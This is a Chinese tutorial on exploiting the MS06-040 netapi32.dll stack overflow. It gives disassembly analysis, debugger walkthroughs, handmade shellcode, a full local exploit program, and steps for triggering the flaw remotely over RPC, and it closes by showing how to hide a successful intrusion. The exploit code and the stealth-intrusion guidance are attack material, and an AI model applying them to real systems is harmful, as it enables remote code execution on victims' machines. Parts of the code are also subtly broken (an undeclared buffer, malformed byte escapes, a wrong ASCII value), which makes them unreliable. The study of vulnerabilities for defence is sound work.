入浅出MS06-040
时至今日,网上已有颇多MS06-040的文章,其中不乏精辟之作。与其相比,本文突显业余,技术上无法超越,徒逞口舌之快。本文适合有一定计算机基础,初步了解溢出攻击原理,稍微了解逆向技术的朋友阅读。如果您根据本文的指导亲手完成了全部的7节实验内容,相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。实验中涉及的所有细节均可重现,使用的源代码都已经过详细的注释附于附录之中。
好了,现在让我们立刻去体会把“Impossible”变成“I’m possible”的那一撇是怎么画进WINDOWS里的吧。
1 浅出篇
——欲善其事,先利其器
思考许久,为了让更多的人能够享受到实验的乐趣,我还是决定用一些篇幅来介绍几个在本章的实验中涉及到的逆向工具。没有工具的hacker如同没有枪的战士,欲善其事,先利其器!
1.1 逆向,永恒的主题
微软POST出的漏洞信息是没有技术细节的,一般都是几句简短的类似“XXXX可能存在允许远程代码执行的漏洞”之类的话。光靠这些是没有办法利用,渗透,入侵,控制的。详细技术资料很难搜到,因为那都是安全专家和hacker们辛苦的研究成果,当然今天讨论的MS06-040除外。要想第一时间研究和利用漏洞,你需要查出漏洞对应的补丁号,追查这个补丁patch了哪几个系统文件的哪几个部分,然后进行逆向分析。
MS06-040指的是windows系统的DLL文件netapi32.dll中的几个导出函数在字符串复制时有边界检查的缺陷。本文的实验和分析都基于WIN2000 SP4版本的操作系统,它也是这个漏洞危害最严重的操作系统版本。
在WIN2000 SP4中,Netapi32.dll位于系统目录c:/winnt/system32下,大小为309008字节。如果你的系统已经打过补丁,则该文件会被补丁替换,大小为309520字节,原先的漏洞DLL会备份到系统目录下的c:/winnt/$NtUninstallKB921883$ 里(我为您在本文的附加资料中提供了这个DLL)。Netapi32.dll中几个有溢出问题的函数,本文实验以目前讨论最多的NetpwPathCanonicalize()函数的溢出为例进行阐述。
Netapi32.dll库中第303个导出函数NetpwPathCanonicalize()用于格式化网络路径字符串, 它需要6个参数:
参数1:指向一个UNICODE字串的指针,用于生成路径字串的第二个部分
参数2:指向一个buffer的指针,用于接收格式化后的路径字串
参数3:指向一个数字的指针,标明参数2所指buffer的大小
参数4:指向一个UNICODE字串的指针,用于生成路径字串的第一个部分
参数5:指针,在漏洞利用中不起作用
参数6:标志位,必需为0
这个函数大体功能是把参数4所指的字串(以后简称4号串)连接上’/’作为路径分割,再连上参数1所指字串(后简称1号串),并将生成的这个新串拷回参数2所指的buffer,也就是返回给2号buffer如下形式的字串: 4号串 + ‘/’ + 1号串
该函数在格式化字符串时的函数调用CanonicalizePathName()使用WCSCPY()进行字符串拷贝时,边界检查有缺陷,可以被构造栈溢出。
NetpwPathCanonicalize()函数的细节资料是很难找到的,MSDN上没有任何介绍,甚至在GOOGLE上也只是在srvsvc的接口定义文件IDL里看到了函数声明。在这种情况下要利用这个函数只有靠自己逆向分析了。上面这些说明就是我用IDA把它反汇编后分析、总结出来的,在本小节中提前摆出来是为了让您在阅读后面这节的汇编代码时提前有一个全局观。
一定要坚信,求人不如靠自己。不管你是cracker还是hacker,不管你做外挂、做脱壳、做病毒分析、还是做exploit的开发人员,要获得第一手资料都离不开逆向技术。就算微软公布源码,逆向技术仍然是安全领域里永恒不变的主题。
1.2 IDA,迷宫的地图
在大体了解了漏洞的位置之后,我们需要进行调试,需要获得具体的栈空间信息以及漏洞被触发时的寄存器信息。进入一个PE文件就好像置身一个错综复杂的迷宫,光靠动态调试器的分析是远远不够的。IDA强大的静态分析和标注功能则是这个迷宫的地图,他能为你的调试导航。
下面我们就用IDA来看看这个神秘的NetpwPathCanonicalize()函数到底干什么用的。安装好了后,把我们的问题DLL直接丢进IDA,忽悠忽悠几下,它就分析出结构明确质量上乘的汇编代码了。这里要庆幸的是我们研究的是微软的系统API文件,用C语言编写并且没有任何加壳之类的保护,所以得到的结果如此优美,几乎所有的函数都自动标注好了。
我们直接去Exports窗口在最后几行找到我们需要分析的NetpwPathCanonicalize,双击就跳到了这个导出函数对应的代码部分,按下空格键汇编代码将以流程图的形式显示出来,给阅读者一个全局的把握。
指南针介绍到此为止,后面的分析就要靠人肉了。这个函数并不复杂,可以看到生成新串的过程实际是在CanonicalizePathName()内完成(.text:7517F856 call sub_7517FC68)。这个函数使用局部变量,在栈内开空间暂存新串,这块空间可被溢出。
具体说来,NetpwPathCanonicalize()在调用CanonicalizePathName()前的动作包括:
1.判断第6个参数是否为0,不为0则退出
2.判断第5个参数所指值是否为0,为0则进行一次NetpwPathType的验证调用
3.判断第4个参数所指值是否为0,若不为0则将所指字串放入NetpwPathType进行验证。
4.在这次验证中,如果4号串unicode长度超过0x103(字节长度为0x206),则返回0x7B (ERROR_INVALID_NAME),引起程序退出
5.验证接收buffer的大小是否为0,否则退出
6.调用CanonicalizePathName()函数
……
CanonicalizePathName()为实际发生溢出的函数,用IDA重点看一下这个函数:
============================ S U B R O U T I N E =============================
7517FC68 int __stdcall sub_ CanonicalizePathName (wchar_t *,wchar_t *,wchar_t *,int,int)
7517FC68 push ebp
7517FC69 mov ebp, esp
7517FC6B sub esp, 414h //开辟栈内空间,用于暂存生成的字符串
7517FC71 push ebx
7517FC72 push esi
7517FC73 xor esi, esi
7517FC75 push edi
7517FC76 cmp [ebp+arg_0], esi //判断4号串地址是否为空
7517FC79 mov edi, ds:__imp_wcslen
7517FC7F mov ebx, 411h
7517FC84 jz short loc_7517FCED
7517FC86 push [ebp+arg_0] //压入4号串
7517FC89 call edi ; __imp_wcslen //计算4号串的unicode长度,注意为字节长度的一 //半,这是导致边界检查被突破的根本原因,即 //用UNICODE检查边界,而栈空间是按字节开的
7517FC8B mov esi, eax
7517FC8D pop ecx
7517FC8E test esi, esi
7517FC90 jz short loc_7517FCF4
7517FC92 cmp esi, ebx
7517FC94 ja loc_7517FD3E //若越界则退出程序
7517FC9A push [ebp+arg_0] //4号串地址
7517FC9D lea eax, [ebp+var_414] //栈中暂存串起址
7517FCA3 push eax
7517FCA4 call ds:__imp_wcscpy //将4号串拷入栈中暂存串。虽然前面的边界 //检查有缺陷,似乎实际可以传入的4号串可以达 //到0x822字节,但是4号串在传入本函数前被 //NetpwPathType()提前检查过,按照前面的分析 //知道,四号串的长度不能超过0x206字节,所以 //光靠这里的检查缺陷还不足以通过4号串制造溢 //出
7517FCAA mov ax, [ebp+esi*2+var_416] //取出此刻暂存串(4号串)的最后两个字节,检 //查是否是斜杠
7517FCB2 pop ecx
7517FCB3 cmp ax, 5Ch //0x5C=92=ASCII(/)
7517FCB7 pop ecx
7517FCB8 jz short loc_7517FCD5
7517FCBA cmp ax, 2Fh //0x2F=47=ASCII(/)
7517FCBE jz short loc_7517FCD5
7517FCC0 lea eax, [ebp+var_414]
7517FCC6 push offset asc_751717B8 //压入斜杠的unicode
7517FCCB push eax
7517FCCC call ds:__imp_wcscat //把斜杠的unicode连接到栈中暂存串的末尾
7517FCD2 pop ecx
7517FCD3 inc esi //把斜杠的长度计入暂存串
7517FCD4 pop ecx
7517FCD5 mov eax, [ebp+arg_4] //取出1号串,类似的检查1号串的首字符是否是 //斜杠或反斜杠
7517FCD8 mov ax, [eax]
7517FCDB cmp ax, 5Ch
7517FCDF jz short loc_7517FCE7
7517FCE1 cmp ax, 2Fh
7517FCE5 jnz short loc_7517FCF4
7517FCE7 add [ebp+arg_4], 2
7517FCEB jmp short loc_7517FCF4
7517FCED mov [ebp+var_414], si
7517FCF4 push [ebp+arg_4] //1号串地址
7517FCF7 call edi ; __imp_wcslen
7517FCF9 add eax, esi //计算4号串长+斜杠长度+1号串长的大小
7517FCFB pop ecx
7517FCFC cmp eax, ebx
7517FCFE ja short loc_7517FD3E //第二次边界检查。从前面分析可以知道,只靠4号 //串是无法制造溢出的,但是1号串的传入没有任何限 //制,所以可以通过增加1号串的串长来溢出。栈 //空间为0x414,我们实际可传入的串总长可以达到 //0x828滴
7517FD00 push [ebp+arg_4] //1号串
7517FD03 lea eax, [ebp+var_414]
7517FD09 push eax
7517FD0A call ds:__imp_wcscat //将1号串连入栈中暂存串,生成最终的路径字串,这个 //调用导致了最终的栈溢出
7517FD10 pop ecx
…………
7517FD66 lea eax, [ebp+var_414]
7517FD6C push eax
7517FD6D push [ebp+arg_8]
7517FD70 call ds:__imp_wcscpy //将栈中的结果传回第二个参数所指的buffer
7517FD76 pop ecx
7517FD77 xor eax, eax
7517FD79 pop ecx
7517FD7A pop edi
7517FD7B pop esi
7517FD7C pop ebx
7517FD7D leave
7517FD7E retn 14h
========================= S U B R O U T I N E ==============================
代码1:netapi32.dll反汇编代码片断,完整代码可由附件中的DLL文件反汇编得到
如注释中所述,两次对栈中暂存串边界的限制都是unicode长度不能超过0x411,换算成字节长度就是0x822,而栈空间的大小是按字节开的0x414,这是边界检查失败的根本所在。
另外,4号串由于必须通过NetpwPathType()的验证才能传入CanonicalizePathName(),所以串长不能超过0x206字节,但是经过wcscat()没有长度限制的1号串之后,就可以成功的制造一个栈溢出了。
1.3 OLLYDBG,庖丁解牛
经过IDA的静态分析,下面我们来尝试一下动态调试这个函数,并触发这个溢出。首先要做的是load这个动态链接库,然后定位到NetpwPathCanonicalize()函数的地址,接着就可以调用这个漏洞函数了。
本地的溢出实验不一定非要找台有漏洞的机器。如果你的机器不是WIN2000 SP4或者是打过补丁的机器,去哪里找这个库文件前面已经说过了。
比如用下面这种形式调用:
==========================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = "./netapi32.dll";
char Trigger[40] = "NetpwPathCanonicalize";
……//function arg define
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
……//function arg init
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0);
FreeLibrary(LibHandle);
}
代码2 :DLL挂载,完整的代码位于附件local_exploit_040.c中
上述代码就是我们本地溢出实验代码的框架。你可以先按照前边分析的结果对参数随意的赋几个值试试。在我调试的过程中,VC编译后,如果函数参数传入“正确”,在执行时XP总会报check esp erro,不知道是不是我哪个参数没用对,但在远程溢出的RPC调用中是能够正常执行的。
下面来调试一下这个BIN,用OLLYDBG去把netapi32.dll执行的细节搞清楚。朋友们,你们准备好领略庖丁解牛的感觉了吗?
用VC编译链接生成BIN运行是会出错的,不要紧,我们用OLLYDBG打开可执行文件。默认的加载方式会在程序的入口地方停下。我们调试的可执行文件应该是VC生成的debug版本,所以应该停在PE的加载区,注意这里可不是我们的main()函数哦。
如果你有耐性的下,不妨按F8单步下去,顺便了解一下WINDOWS加载PE的过程,看看在main()之前都干了点什么。
如图1,离入口不远处,会有GetCommandLineA的调用,后面会有三个对EDX、ECX、EAX的push操作,这是在为main()函数传递参数。之后的那个call就是我们的main()了。当F8单步到这个call,你需要F7单步进入main()函数。
进入main()之后你会看到OLLDBG已经为我们识别出标准的系统API调用并自动做了注释。像C代码里写的那样,这里依次调用了LoadLibarayA、GetProcessAddress、memset等之后连续进行六次push又调了一个函数,这个对应的就是(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0)的汇编形式了。函数调用的参数入栈顺序是从右向左,所以第一个压的是0。如果你第一次动态调试的话,不妨看看栈里压入参数的值,在到对应的内存位置去看看内存里的内容,自我感觉这样的调试是理解计算机系统底层最直接,最有效的方式。
CPU执行到这个call以后,我们同样用F7进入这个函数,可以看到代码区从0x004xxxxx切换到了0x7xxxxxxx,也就是说这时程序从我们的可执行文件的代码区跳到了netapi32.dll中NetpwPathCanonicalize函数的代码部分。
本地溢出之main()函数入口
继续单步执行,观察寄存器的值,观察每一个跳转的执行,结合上一节中你用IDA的分析,验证下当时自己对程序流程的掌握是否正确。
NetpwPathCanonicalize中在两次对NetpwPathType的调用后,那个连续压了5个参数的函数调用就是漏洞的根源,CanonicalizePathName()函数,这里当然要进入仔细观察了。
连续跟踪几次之后,相信您对NetpwPathCanonicalize和CanonicalizePathName里的程序流程已经比较熟悉了,对上一节中静态分析的结果也有了新的认识。好,现在我们稍微回忆下已有的知识,设计一下怎样制造溢出。
根据前边分析的结果,如果我们这样来初始化传入的字串:
4号串 -> 0x12 byte 赋为字符’4’
程序添加的路径分割 -> 0x2 byte Unicode(/) 0x5c00
1号串填充物 -> 0x400 byte 赋为字符’1’
那么这414个字节刚好撑满CanonicalizePathName()函数为自己开的栈空间,1号串往后的四个字节是EBP,再紧接着就是返回地址,也就是说1号串第0x404~0x407的内容是函数返回后EIP的内容!
我们给1号串0x400~0x407位置赋为字符’q’,用OLLDBG看看栈中的情况和我们分析的一样不。CanonicalizePathName在返回时寄存器状态如图2
函数返回前的溢出情况
在函数返回前,EBP的地址为0x0012F21C,其内容已经被我们的填充字符准确覆盖为0x71717171(0x37为‘q’的ASCII),后面的函数返回地址也按照我们预想的被覆盖为0x71717171。返回后EIP将指向0x71717171,我们已经可以控制函数返回时CPU的取址位置了!
稍微总结一下,通过动态跟踪,确认了我们静态分析的结果,了解到栈状态和寄存器状态的细节后,我们就可以通过在传入的字符串的特定位置准确的更改函数返回地址,让CanonicalizePathName在返回的时候跳到一个我们指定的地方去接着执行指令——如果那个地方放着我们可爱的shellcode的话……
1.4 shellcode DIY
一般利用字符串函数溢出的shellcode要求不能有0出现,在这个实验中我们利用的是unicode的字符复制函数,字符串结尾是两个字节的0,所以这条限制会放宽一点——shellcode中不能出现连续的两个字节的0。
了解到这些基本要求后,我们开始我们自己的shellcode DIY吧。
这个shellcode的功能是弹出一个MessageBox并显示“failwest”。
==========================================================================
#include
#include
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166//push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D504EA // address should be reset in different OS
call eax //call MessageboxA
push 0
mov eax,0x7C81CDDA
call eax //call exit(0)
}
}
代码3: shellcode_box.c
为什么要开0x440那么大的栈空间呢,我们根本用不了这么多空间呀?这个问题先卖个关子,我们后面讨论shellcode布置的时候在来回答。
注意MessageBoxA()的入口地址0x77D504EA和exit()函数的入口地址0x7C81CDDA 根据不同的机器、不同的操作系统和不同的补丁情况,可能会不同。自己在调试的时候需要查看一下本机的具体地址,要远程溢出的话当然还要查查目标主机的库信息。最简单的就是用VC提供的Tools里的depends工具查看一下。比如在我实验的系统中打开depends,随便丢个BIN进去看下user32.dll和kernel32.dll的加载情况:
shellcode中函数地址的计算
这里user32.dll的加载基址是0x77D10000,MessageBoxA在其内的offeset是0x000404EA,那么它在内存中的RVA地址应该是这两者之和0x77D504EA,类似的也可以计算出kernel32.dll中exit()的RVA。
用VC把这段程序编译链接运行测试,看到框框跳出来之后,我们可以用IDA之类的工具提取出编译过后的机器码。我这里用的是ultraedit,按照16进制形式打开可执行文件,直接查找我们代码中调用MessageBoxA的地址:EA04D577定位到编译后的机器码(注意内存中word字节的反序关系),当然如果你熟悉PE格式的话直接ctr+g跳到0x1000的代码段里去找代码也行。
找到后对着这一堆机器码我们怎么知道哪里是开始哪里是结束呢?难道去查intel的指令集吗?这里教一个我个人用的土办法:一般在shellcode汇编代码的开头和结尾我都会加上几十个NOP指令,到了机器码里,两大段0x90字节之间的那部分自然就是shellcode了。
如图4,在ultraedit里选中我们的shellcode按16进制复制出来,把格式整理下就得到我们自己制作的shellcode了。
提取shellcode
有了淹没返回地址的偏移,有了自己制作的shellcode,接下来要做的就是怎么在内存中组织这些内容了,这也是栈溢出最精华的地方。
后面的玩法应该有很多,比如:
玩法A:搜寻jump esp,在esp后面布置shellcode
玩法B:搜寻jump ebp, 在ebp的位置填入一个比较准确的shellcode地址
玩法C:另类玩法,利用其他寄存器,SEH利用等
函数返回后的溢出情况
应当注意的是,如果采用玩法A,在代码中我们看到函数退出前的字串WSCPY()的目的地址存在EBP+10的地方,而返回指令是retn 14h,也就是说返回后ESP在EBP+14的地方,在ESP处写shellcode意味着WSCPY()的目的buf地址也被覆盖。
在前边动态调试的例子中,返回后的状态如图5所示:EBP为0012F21C;ESP为0012F238;那个WSCPY()的目的地址就在EBP+10=0012F22C的地方,恰好位于返回地址和ESP之间。这下清楚了,欲淹ESP,必先淹了目的拷贝地址。
若没有注意这里,毛手毛脚的直接淹到ESP,WSCPY()函数的目的地址被覆盖成无效内存地址,在到达函数返回之前就会引起内存访问错误,没办法把程序流程转移到shellcode中。当然这种情况也是可以利用的,比如在淹没串中填写一个有效的地址,将大段字串copy到内存中一个指定的地方。这时shellcode在内存中有两个copy可以应用,一个是栈中刚释放出来的这部分内容,另一部分是刚刚拷到目的地址的内容。我们可以在jmp esp之后跳到栈区也可以直接去那块新写入shellcode的区域执行,这感觉有点堆溢出的意思了。
我在尝试这种方法的时候发现不是很稳定,因为:首先是地址不能随便选,写到不可读的地方会崩掉;其次内存中冒冒然写上这么大一堆东西,很容易冲掉有用的数据引起后面一些不确定的后果;最后写入的地方很可能在执行别的函数的过程中被重写,导致shellcode被破坏。不过这里是在做溢出实验,不是在开发软件,稳定的事先放一放吧,我最终还是实现了方案A.。
再来看方案B,大概是采用这么一种布置形式:
(内存低址)栈顶-------nnnnnnnnnnnnnnnnnssssssssssssssnn(ebp)(ret)------栈底(内存高址)
只要在ret的地方填入进程空间里搜索到的jump ebp指令地址,在ebp的位置填入相对比较准确的shellcode地址就行(落入nop区域)。
这种方案在本地溢出中的实现比方案A难度略低,唯一一个导致不稳定的因素就是在EBP里边填的地址要落在我们的shellcode前填充的NOP区域里。在本地溢出中这点是比较容易实现的。当我在远程溢出中实践这种方案的时候,发现栈状态是动态的,栈的变化范围远大于NOP填充的几百个字节。这样的溢出好比买六合彩撞大运,EBP里的地址要打到shellcode上才能成功。所以方案B只有在本地溢出中可行,有教学意义但没有实战意义。
后面的例子我使用的是方案C。因为在调试过程中我发现程序为了保证堆栈平衡,执行了若干次pop ecx,而在函数返回前,ecx的内容恰巧被写成了栈中暂存串的起址。于是我们在返回地址中填写一个netapi32.dll进程空间内的call ecx的指令地址,跳两次之后,EIP会奔到暂存串的起址!这个方法虽然没有通用性,但在本例中却无疑是最最稳定,最最保险的做法。可见,在实战过程中具体问题具体分析是很重要的。
好,现在稍微整理一下思路:函数返回时ecx指向栈中暂存串地址,这个暂存串的形式是:4号串 + ‘/’ + 1号串。我们在1号串中放shellcode,在4号串尾部淹没返回地址,填写一个jmp ecx的地址,那么……
综上,我们采用方案C的做法来exploit!
开始之前回答下这节开头提出的问题,shellcode为什么要开那么大的栈空间呢?因为我们的exploit方案是把EIP引到栈区执行shellcode。函数返回后shellcode刚好被放在栈顶之上一点点的地方,这部分内存空间在系统看来内容已经没有用,是可以随便写的。所以一旦遇到函数调用,栈顶就会向上浮动,把我们放shellcode的地方当数据区涂鸦似的胡改一通,破坏到我们的指令。所以我干脆提前把栈顶升起来,用栈把shellcode保护起来,这下我们的shellcode无论如何都不会被破坏到了。
在来看看实际中我们exploit的细节,栈中的情况是这样的:
Ebp-0x414 0xFC字节的4号串,内容为前后都被nop包围的shellcode
0x2字节的程序连上的unicode字符‘/’
0x316字节的1号串,内容为 0x90
Ebp 0x4字节的0x90,对应为1号串的0x317~0x31A字节
Eip 0x751852F9,从netapi32.dll里一条call ecx指令的地址
至于eip覆盖值call ecx的地址0x751852F9的获得,你可以自己编程搜索内存,简单的做法就是用OLLYDBG的插件Ollyuni。
最终的exploit是这样的:
=====================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
#define STACK_SPACE 0x31A
char shellcode[]=
"/x66/x81/xEC/x40/x04/x33/xDB/x53/x68/x77/x65/x73/x74/x68/x66/x61"
"/x69/x6C/x8B/xC4/x53/x50/x50/x53/xB8"
"/xEA/x04/xD5/x77" // user32.dll
"/xFF/xD0/x6A/x00/xB8"
"/xDA/xCD/x81/x7C" //exit()
"/xFF/xD0";
int main()
{
char arg_1[0x320];
char arg_2[0x440];
int arg_3=0x440;
long arg_5=44;
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = "./netapi32.dll";
char Trigger[40] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
memset(arg_1,0,sizeof(arg_1));
memset(arg_2,0,sizeof(arg_2));
memset(arg_4,0,sizeof(arg_4));
memset(arg_1,0x90,sizeof(arg_1)-4);
memset(arg_4,0x90,sizeof(arg_4)-4);//string should be cut by 2 bytes 0
memcpy(arg_4+0x40,shellcode,0x28);
arg_1[STACK_SPACE+0]=0xF9;
arg_1[STACK_SPACE+1]=0x52;
arg_1[STACK_SPACE+2]=0x18;
arg_1[STACK_SPACE+3]=0x75; //eip
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
代码4: local_exploit_040.c
本地溢出成功
编译运行,哈哈,享受溢出成功的喜悦吧,记住框框弹出来时的心动吧,这是我们钻研技术的源动力!
2 深入篇
——莫在浮沙筑高台
安全技术和逆向技术从来就是密不可分的,不论对CRACK还是HACK这都好比练习上乘武功前的马步。就像高手行侠仗义的威风之后隐藏着练马步的枯燥乏味,所有漂亮的exploits背后都隐藏着无数个对着寄存器发呆的不眠之夜,没有经过这般磨练就好像浮沙中的高台,不能久远。
2.1 初识,RPC的玄机
本地溢出是用来自己学习技术和原理的,真正有效的攻击是网络上的远程溢出。大家都知道MS06-040之所以这么出名就是因为这是一个可以被RPC调用远程触发的漏洞。
目前网上流行的远程溢出代码我收集到三个版本,你可以在附录资料中找到这些代码。
如果你精通网络协议,你可以自己构造数据包像附录中的exploit那样在底层模拟RPC会话进行溢出,但我还没到Matrix中operator的那种境界,看着一堆二进制串就知道Nero在里边被人菜。我们在本章后续实验中将采用Microsoft的标准RPC调用方式来触发这个漏洞。
RPC即Remote Procedure Call,是分布式计算中经常用到的技术。用MSDN里的话来讲,两台计算机通讯过程也就两种形式:一种是数据的交换,另一种是进程间的通讯。RPC就是后者。简单说来,RPC就是让你在自己的程序中CALL一个函数(可能需要很大的计算量),而这个函数是在另外一个或多个远程机器上执行,执行完后将结果传回你的机器进行后续操作。调用过程中的网络操作对程序员来说是透明的,你在代码里CALL这个远程函数就跟CALL本地的一个printf()一样方便,只要把接口定义好,RPC体系将替你完成网络上链接建立、会话握手、用户验证、参数传递、结果返回等细节问题,让程序员更加关注于程序算法与逻辑,而不是网络细节。
我们要做的是最简单的客户端RPC调用,定义好我们要调用的函数的接口文件,然后调一下目标主机的NetpwPathCanonicalize()函数,按照我们本地溢出的那样传进去精心构造的包含shellcode的字符串,那么远程主机在执行这个函数的时候就会溢出,就会执行我们的shellcode!
RPC客户端开发流程(引自MSDN)
如图7,首先应当定义远程进程的接口IDL文件。IDL就是Interface Description Language,是专门用来定义接口的语言,有过COM编程的朋友对这个东东肯定不会陌生。在这个文件里我们要指定RPC的interface以及这个interface下的function信息,包括函数的声明,参数等等。另外微软的IDL叫做MIDL,是兼容IDL标准的。
定义好的IDL文件接口经过微软的MIDL编译器编译后会生成三个文件,一个客户端stub(中文好像是翻成插桩么码桩啥的),一个服务端stub,还有一个RPC调用的头文件。其中stub负责RPC调用过程中所有的网络操作细节。
将生成的RPC头文件包含到你的代码里,把stub文件添加到工程里和你的代码一起link后,就可以call到远程机器上你指定的函数了。
具体的,我们的IDL文件大概是这样的:
========================================================================
[
uuid("4b324fc8-1670-01d3-1278-5a47bf6ee188"),
version(3.0),
endpoint("ncacn_np:[//pipe//browser]")
]
interface browser
{
……
long NetpwPathCanonicalize (
[in] [unique] [string] wchar_t * arg_00,
[in] [string] wchar_t * arg_01,
[out] [size_is(arg_03)] char * arg_02,
[in] [range(0, 64000)] long arg_03,
[in] [string] wchar_t * arg_04,
[in,out] long * arg_05,
[in] long arg_06
);
……
}
代码5: IDL代码片断,完整代码见rpc_exploit_040.idl
IDL的第一个部分是定义接口用的头,需要指明UUID和endpoint。简单说来,UUID用来唯一的指明一个接口,我们想调用的NetpwPathCanonicalize()函数在srvsvc这个interface中。这些接口的技术资料是比较少的,我是参考了samba上面windows网络编程技术资料才查到的。如果你要编写网络程序的话,你可能要经常去 http://www.samba.org上查相关的接口信息。我在samba的ftp上( http://samba.org/ftp/unpacked/samba4/source/librpc/idl/srvsvc.idl )下载了接口定义文件srvsvc.idl,里边定义了从srvsvc下的所有可以调用的函数信息。除此以外,我还整理了一些其他的RPC接口资料一并放在了附加资料中,您可以尽情享用。
值得一提的是,RPC体系在向远程接口映射具体的函数时,是按照IDL里函数定义的顺序来定位的,而不是函数的名称!看附件里的rpc_exploit_040.idl你会发现在实际用到的函数定义前,我胡乱的定义了0x1e个函数,没什么别的意思,就是为了保证我们的函数在第0x1f个。
除了IDL我还用了一个ACF文件来指定一个句柄。您可以用MIDL编译器编译这两个接口定义文件rpc_exploit_040.acf和rpc_exploit_040.idl。这个编译器被包括在VC6.0的组件里,在命令行下使用,设置好正确的路径后输入命令:
midl /acf rpc_exploit_040.acf rpc_exploit_040.idl
编译成功后,会在当前路径生成三个文件:
rpc_exploit_040_s.c RPC服务端stub(桩)
rpc_exploit_040_c.c RPC客户端stub(桩)
rpc_exploit_040.h RPC头文件
把两个stub添加进工程,头文件include上,和调用远程函数的程序一起link,你就可以试着去调用远程主机的NetpwPathCanonicalize()函数了。你可以参照下附录中的rpc_exploit_040.c代码,体会一下远程调用的感觉。
最后需要注意的是我们IDL里定义的NetpwPathCanonicalize()函数比我们在上一章本地溢出实验中使用的函数多出了一个参数arg_00。这个参数是RPC加上去的,实际上并不会传递给netapi32.dll里的NetpwPathCanonicalize()函数,在使用时别让它指向空就行了,并不影响我们的实验。
2.2 Hacking,远程攻击
看完上一节的网络编程,相信你已经迫不及待的要把我们的shellcode送到远程机器上去试一下看看能不能出个MessageBoxA了。但是首先得有一个被攻击的主机。其实我的靶机已经patch过补丁了,无奈我拆了硬盘挂在别的机器上,用备份里有漏洞的netapi32.dll替换了system32里和system32/dllcache目录下的有补丁的DLL,算是拥有了一个能够进行调试的环境。
略微修改一下上一章本地溢出中的代码,改成RPC的调用,结果靶机并没有按照我们预想的那样蹦个框框出来,而是直接系统崩溃重启了!
远程shellcode执行出错
想想怎么回事?看看提示,是services.exe出现的异常。给靶机武装上VC6.0和OLLYDBG,用OLLYDBG直接attach到service进程上,ctr+g到NetpwPathCanonicalize()的入口,按F2下个断点,这样就可以在远程机上调试了。
跟踪进去不难发现,问题出在shellcode里调用的那两个函数的地址上,我这里调试用的是XP SP2,靶机是WIN2000 SP4,不管是user32.dll还是kernel.dll都差了老远,所以要重新计算函数地址,比如在我的实验环境中:
函数名 基址(2000) 偏移量(2000) RVA(2000) RVA(XP)
Beep 0x7C570000 0x0000D4E1 0x7C57D4E1 0x7C837A77
MessageBoxA 0x77E10000 0x00003D81 0x77E13D81 0x77D504EA
ExitProcess 0x7C570000 0x000269DA 0x7C5969DA 0x7C81CDDA
在shellcode中的相应位置修改一下函数地址,赶快往外发吧!我当时在VC里点感叹号运行的时候就像星矢对波士顿射黄金箭的心情一样充满了善良美好的期望,背负了维护世界和平的重任,为了自由为了亲人为了朋友为了爱而让它运行。
结果很不幸,靶机并没有弹出我们希望的BOX,但是也没有像前面攻击失败那样搞的系统崩溃而重启。如果你有声卡连着音响的话,你应该能听到一声MessageBox弹出时那熟悉的“咚”的一声;如果没有声卡的话主板也会“嘀”一下的。用OLLYDBG跟踪调试一下,发现程序如我们设计的那样在函数返回时执行了call ecx,然后顺着shellcode执行,但到了call MessageBoxA的时候,无法返回,程序挂起了。我跟踪进MessageBoxA这个调用到最底层,大概是在获得最顶端窗口句柄的时候出的问题。不停的发溢出攻击,在靶机的任务管理器里看service.exe这个进程会不停的增加内存使用,同时也不停的“咚咚”或者“嘀嘀”。
这是为什么呢? 我觉得这个现象可以这样解释:由于我们溢出的进程service.exe是一个服务,服务是不和用户界面打交道的,在用户登录操作系统之前就已经开始在后台运行了,虽然它也加载user32.dll,但是在真正涉及到UI的时候,它甚至无法知道要把这个框框pop到哪个用户的桌面上。所以说这里我们实际上已经攻击成功了,MessageBox是踏踏实实的弹出来了,那一下“咚”或者“嘀”可以作证,系统没有崩溃可以作证。OLLYDBG调试时程序挂起应该是框框弹出来,等待鼠标点击“确定”按钮的消息,以便退出函数调用,而这个框框又不知道弹到哪里去了,显示不在桌面上,所以我们没办法点按钮,也就自然退不出函数调用了,这也解释了service.exe很有规律的不断增加内存使用的现象。
综上,结合RPC调用编程和本地溢出实验中的技术,我们已经可以让远程目标机执行任意的代码了(虽然只听到响声没看到框框)。
2.3 踏雪无痕,寄存器状态的恢复
如果你是一个真正的hacker,那么对你来说最重要的是悄无声息的控制而不是舞刀弄枪的破坏。回想一下我们的shellcode在退出时调用了exit(),如果系统服务进程service.exe 退出了会对操作系统产生什么影响?上一节中之所以系统没有崩溃是因为程序停在了MessageBoxA的调用上,等待我们去点击“确定”按钮,要是真的点上了系统不崩才怪呢。
相信能够把实验做到现在这个程度的你一定不会甘心于一个毛手毛脚的无法正常退出的攻击,这就好比做贼做的像《疯狂的石头》里那个拿榔头抢面包的哥们儿一样不够专业。专业的入侵应当“随风潜入夜,润物细无声”。下面我们就来说说怎样在溢出结束后恢复到原进程的正常执行,让shellcode做到踏雪无痕!
函数返回是通过ret时三个重要的寄存器EBP,EIP,ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回
看一下溢出时这几个寄存器的情况:
EBP 指向前一个调用的栈底,溢出时被我们破坏
EIP 指向函数调用的下一条指令的地址,被我们替换成call ecx的地址
ESP 指向前一个调用的栈顶,在本实验的exploit中并没有被破坏
函数调用的下一条指令地址我们可以在OLLYDBG中看到是0x7517F85B。这是DLL中代码段中的死地址,可以让shellcode的最后一条指令直接jmp过去。
